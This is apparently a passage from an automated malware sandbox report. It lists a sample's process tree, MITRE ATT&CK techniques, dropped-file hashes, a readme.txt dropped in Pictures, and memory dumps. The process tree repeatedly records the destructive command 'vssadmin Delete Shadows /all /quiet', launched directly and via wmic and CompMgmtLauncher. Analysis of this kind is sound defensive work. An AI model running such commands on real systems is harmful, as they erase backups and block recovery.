    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2428

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2120

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2704

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2480

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:576

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1500

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:820

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2052

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1384

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1080

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2860
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2748
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1368

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1416

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
7b3d9cee699625a10fb531e33661cf07

SHA1
5c4db6c9d5d16d4c3cf192e726267b963185b2df

SHA256
d1d7d568690c5612e7de08ce8bd963b764634beed47c001502681fced5692dda

SHA512
82d3925723d61b1132de718779d9119a54d6e663cfbeb44ff42acd6376abf3bfe3a4e3805a259517994a4aeb23a77224e429c395504cd98cc2348a06f9d5f160

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6594b11e9965d5de7e3b441f7c13d5cf

SHA1
792d52fe70559e5773360852b480f763ad54b4e8

SHA256
f40f556b874a1310babb22ce8447caf5f149a8b3f9b18de723517b8f5ed56c42

SHA512
ba37c18a001fa8bcd93ae8e86779f03f9090c5d8b08e48bb922fcd0927e81183748ed00a7ecce7e1750dac550372ca6ab672e8323e957e15ea6e9ab39368b4a8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
2eb966f5936b4cfda0b2bdee1ffcc1ab

SHA1
f619632d4d5abbf4f4cbd018803e8112b8b9bc20

SHA256
b580d2d8114d182fb71772f9e1667238b13307cd3bffdbe36397c65452f08301

SHA512
61710e94c81f4cda730e8caeec55eb7c633a75d9098eb60aa11379faa325263f0aea990b45d9f346e2f6c390b1022d335643c01606f3871fc30024e3ebe599c8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fcf9bdd2e041cfc901029d390368fb04

SHA1
8b4c8e58a26bc9a3413c26e3cd2f82f990195e69

SHA256
fe4cba40221032452073670298442415a54dcf555255007d473452c5d5b3f695

SHA512
21cee468f7627c9744c40291dd156846a867fffba8042692b5780a9047da2edd469eed8802a5e857c8f26a71a78132318cee5a4cacb46472e0e4aa6f04567ac7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
13192a412235ec1b6a4e71fee9593f9a

SHA1
a465f46f2bd868ed0bd7d61233e0085f4a98920b

SHA256
bb759c48c6083a21e4777e6a95273d6e3a15ad8a4d5106cf8c2afcc43b556297

SHA512
9e2e7e536b3cb23868116a5b413a9aa0f2b1e348bdd83e1ee4521900ff359f6142b6d1690e5596f7c09e2a3cca2a60cb2176d5dfec2ed68b6106291a0f5a5d7b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
00db1693d68a100dc953102a66160840

SHA1
05bb1096d91de5f007626f95f183efab11375f8b

SHA256
2d33b0c8ccc5f21a60c799ad79712fe38a99f35c32b86f8f71d77a925402dc4c

SHA512
25fdfd8da63cd5dd94794fd04e5437a98173c267c011b491e8aa7c30cf57d6633f0eea9650ce2e5bc99004d52f794ab65c93d2e66932a7c1045bb43b728da20d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
706015e3ccd6b2874f4c903e69993278

SHA1
bbcbc963f6b18c0c80b92b0c7e1cfce171e3b5f2

SHA256
09e0e682317c66b65a095d5ee8788c0310fba554907dfd86769d10d0ffca01eb

SHA512
256178b18abec149669134cdcf3d1e4c1f85e3dd66a8ab0f81e0d6902139f23bf46a7d29c438aa42806f947043a5e4c73e83438a3b41687015be92fa1c04fa53

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b4f58ae82c83f4cd8984b0f2c73db03c

SHA1
0736fcc5db88bb86e13827372ab1d8e92b6e2ed2

SHA256
ce504b81753be2a73ef3b65c482266aaed0293289fb2c843ff9d50bc3c3eef3d

SHA512
cae3238fcceaf897d0bc1375be921790162bf760c06adfd4b21e83c81e8c391686aa1a7ed0b1db4c60e36268468bcf06a19ba191170922129d8c5fc18f473da6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
280687e8932181692057709019815e99

SHA1
9ca5c7ff6f342272ab69b7a5d66358046e6d1970

SHA256
72614fd237a109c2888e287e869e2c94af2e25adbc7c46943f9393b18e8a2b3f

SHA512
8751dc5f8f8d9ec40616fa3d13bbae911f1f85aef485b26bfde89dfee633671e0f9f774bd3ca90faf0f2813eb2ae91ddd96c3f4f2554777e37bd28e01c688f06

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f326e9a5643249afc1982d423091b3a8

SHA1
4bba8257f1f0b56f4d236466dfa0b95963828920

SHA256
b249d2905ae6f82c4689da97a80f4a23328cbd6a878217decf65df2d98412bcf

SHA512
95ce72bf14e6b9784c60e469ae1bda6496b1afdeb378b35208b8fbffb18e088d42dc671e3d2db2c0e2321f1b985af8e7d9f12fb667171eaa1179b6a450633a15

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
da5e342bbb9be6c08056ef83c222866a

SHA1
b6d61b85d77fa7d070be70cda6ad7b15462261ac

SHA256
ffd4432efeb8a49dfb4d38c3687b69e20f14be45884b639b82e39d93185fa714

SHA512
9f7b570d34cb2c83c3267e86d0b1289f14fe4391313aff03b25c72cb908da88773a9e8643d9849a71955a0b5f7b39218ea90eaae60c4b9a01401b1d9db08c195

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8f2e2e1bb1795cba6a0aac99cd86e245

SHA1
cbfbc2dc6b1cd8839f0515d6813e0a1cd7f7e73d

SHA256
7023cd7193c1c94891289a106df7683a2d75ce568dc00ca27ff515d8fed4200d

SHA512
f13e45ff6accc06cf82758c9c75d5d381b01ac27a515593a6399b52684ce4129b6780a1a6b3447b267b3fe5c94ea8166497c48e172f5535de43058cadb09984d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9cec1666cca6d7073f3e0240b67b5e5f

SHA1
fdffd2dbea7aa8447747e0741b116e656258e14a

SHA256
27e9b02cbedad17149d6a204ff0f8e029a4c9285eb6b01d9236acc9cbe222430

SHA512
9f3ef7fa32d584381e346aea669785c374e692ec4432fd3b6e7d6e23a53d7316dc71fe3eab8916a562efaccbbb320ee87c5b1350512ba95c3a8e17f593e9fbdc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1642ba5fcc53f46532e042b79dcbe5fa

SHA1
603cad6b492fa0534998056c3bdd349ad7720ac1

SHA256
cd864f95c7891e6fa0f4e83a1e3410eb29e9de68641d5f686a2d71c737b2c354

SHA512
da484aacafe73bb604bb6b3a37956e6d4e1649fdea02feac69bcb2426af4800461b3bfb2fcb2d4e9d5232814953d81f7af764d5092de7dfcc82ef17f11244c56

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8a17a82a75433d2010a8eeb42d4a3e67

SHA1
290db6f74289518773dcadadedb00a036b87d261

SHA256
0ced2e1b2ca870dc10868bf9450dd52bc2aa29f02281e100c1501ce9c92b489e

SHA512
aee938f1706fe2b8b10e6acefb8a48945d49ee4205ed64647562f8a3ba4bf532ff8757fc665a218396be43d320fd3c3a50cc0505ec1698f13240967c10431a15

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b80f0b1754059124e58662acdbb7cba7

SHA1
74aec58e9392f68064a3633d64427d215b8f16a7

SHA256
58f14302d6bc15b056c4e3e6d90a870e5dd8943aa6240747558a974bcdb53b1d

SHA512
af8f7f54213e9edd816ffb3fd05ba8a9a4f5a12a1a443b6faecf3e398ed668825f2f0f557ced9168b9f63fe87165f1369d8ab00a260541c601403ce6b386c28c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4d0244d9a13b5d49661750e89bcb5e9c

SHA1
857385f354eb14f7870aa8f4d8f09be77ecb3007

SHA256
98b2f2fa1692ecc4d4bcada682c8b8d1b37ab695fbe7ce82ee2fc25a0753139f

SHA512
9e1fd083ed2832cb7ba721b4a4e2bfda08a63fddf431984ec674bf8581a60b1c3688d3e55757f51db2591284ba5348e5193c4520845886a90aee12ecadc5e0f6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
57b529e91253dba222738e7e9c08d11d

SHA1
92218bee0cfa138fe8fc34a5f69ccaa55e31278e

SHA256
6c278c61860995d193a738f47baf449ef2a34d02f9a73c1747234d2b7ad29a56

SHA512
a23715f8d49368c80db37c6770ebb9a0db165d77264f0393b254f0f78ea946ffebfce5ddfdcf33133013a6d4f24bd13e4a3c89baf32315c5bf7b981332377ca8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4d08ce26451215972444db8881422e47

SHA1
165b6f9c183901b8e43faec9c36a9e795006905c

SHA256
5187fef6a1864ace99bcbe96165faa0483ec2b4cead60a97ad6bf1aabeeaf2b5

SHA512
f607279fb38c49f892d2c8cf70b15954f6e966986d4d5e5d3ef88eec4bf1b05c66fdbe4965459c42e0b3f21b8145576fd34439dacbea7a0f02bffec1dfc99080

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
39d0d23c942c588a91d72776d71198ad

SHA1
db68869b83365dbfb2de6a30d6f0dce64a492397

SHA256
b18b283a50903ca14d32f33408cb8a668fc804ba82426ffe8e4b8cbb3b831845

SHA512
b70182e0a8c2f239b8e34177e870ba5b92c32cc2e15aedf2ff94ad31d7dd9554e8f2054211a45d11efa2a5d9a5f9056a22d9c4eeed46824ca776056e54572bfe

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
afe8c392c22631dd8c745683d28e3383

SHA1
90a36a0b4ce4435b180bca92c184dbb38a396e8e

SHA256
23a4c782edf4677a0aadcf9180feb76b262d822082e35d886918bb7955754769

SHA512
328d3c226f0bb8efc7c0abae20d8668a4b1a00702118c3ffba40917907ffc90bd23fad658f65e06cb05eee1ebc758c3f727050b03053d245ce86c6ee0337de6a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
83bdd875a30815d6d23252e9770a29c0

SHA1
a4da324650f849fffcfa6c586ced94568a3b035e

SHA256
09be943cf4d085f2206d0d8594b656ee14cb1ca0aee9613f97ea741fcbf83b88

SHA512
ed281b24f3ad4fb18e0bbf2a9c7e2bbc5312077db6248522375dd808e3f083294e72a72e9ff1eb5f9f3730328f1c444feab9c866b6604acea1631f7eca114e92

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c0dd53f61af74b53672add933b405902

SHA1
d1f3d8b4ea2c32a5102b186c9bb370a97b5ce5ce

SHA256
66d49bacf21925bdfdadacd53790cdd7c1898d0d3e79b157cbfb8b9c309ea182

SHA512
c35afc8d99db6646b797db914f87502fa0cd1babcdbf112d7ea88e75f1024f855aad156242cf84c3566b9877521e092e0fa389de6d1c02aa818f609a60dfc5d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabF3E3.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarF4B5.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
cff4bb0139cb37f793bb8703be641852

SHA1
d8eaa9b7f10fca7e81c3681b3d6413fede7c06aa

SHA256
3f769aa51adde228970ad3dd98aafb81cd973eda36b4ee83125d874f0f6313ba

SHA512
aa2f47b262d3e2aa800b784dd0697a918265444187511fd2e23153bc8832b78421bec6d078581ecc2d7055e68dcfb5bd3514c6ab9c869c60f02c8e3546cbd88d

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1096-15-0x0000000001BC0000-0x0000000001BC5000-memory.dmp

Filesize
20KB

Download
memory/1096-0-0x0000000001BC0000-0x0000000001BC5000-memory.dmp

Filesize
20KB

Download
memory/1724-14-0x0000000001B80000-0x0000000001B81000-memory.dmp

Filesize
4KB

Download
memory/1724-740-0x0000000004980000-0x0000000004981000-memory.dmp

Filesize
4KB

Download
memory/1724-17-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/1724-742-0x0000000004980000-0x0000000004981000-memory.dmp

Filesize
4KB

Download
memory/1724-16-0x0000000004690000-0x0000000004691000-memory.dmp

Filesize
4KB

Download
memory/1724-13-0x0000000001B70000-0x0000000001B71000-memory.dmp

Filesize
4KB

Download
memory/1724-12-0x0000000001B60000-0x0000000001B61000-memory.dmp

Filesize
4KB

Download
memory/1724-11-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/1724-10-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1724-8-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/1724-9-0x00000000002D0000-0x00000000002D1000-memory.dmp

Filesize
4KB

Download
memory/1724-7-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1724-6-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1724-5-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/1724-4-0x0000000001C50000-0x0000000002515000-memory.dmp

Filesize
8.8MB

Download